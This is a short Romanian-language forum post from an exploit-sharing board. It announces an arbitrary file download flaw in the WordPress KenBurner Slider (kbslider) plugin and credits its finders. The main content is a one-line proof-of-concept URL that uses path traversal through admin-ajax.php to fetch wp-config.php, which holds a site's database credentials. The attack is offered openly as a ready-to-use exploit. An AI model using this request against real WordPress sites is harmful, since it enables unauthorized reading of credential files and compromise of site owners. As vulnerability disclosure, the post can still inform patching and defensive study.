WordPress KenBurner Slider Plugin (kbslider) file download vulnerability

By Gio33, September 18, 2014 in Exploituri

Recommended Posts

Posted September 18, 2014 (edited)

La fel ca si exploitul cu revslider postat recent pe forum aici.

Nume: WordPress KenBurner Slider Plugin (kbslider)

Tip: Arbitrary file download

Versiuni: Toate (se pare)

Long story short, POC:

http://site/wp-admin/admin-ajax.php?action=kbslider_show_image&img=../wp-config.php

Credits go to: MF0x and Daniel Pentest

Edited September 18, 2014 by Gio33

You can post now and register later. If you have an account, sign in now to post with your account.

Reply to this topic...

Only 75 emoji are allowed.

× Your link has been automatically embedded. Display as a link instead

× Your previous content has been restored. Clear editor

× You cannot paste images directly. Upload or insert images from URL.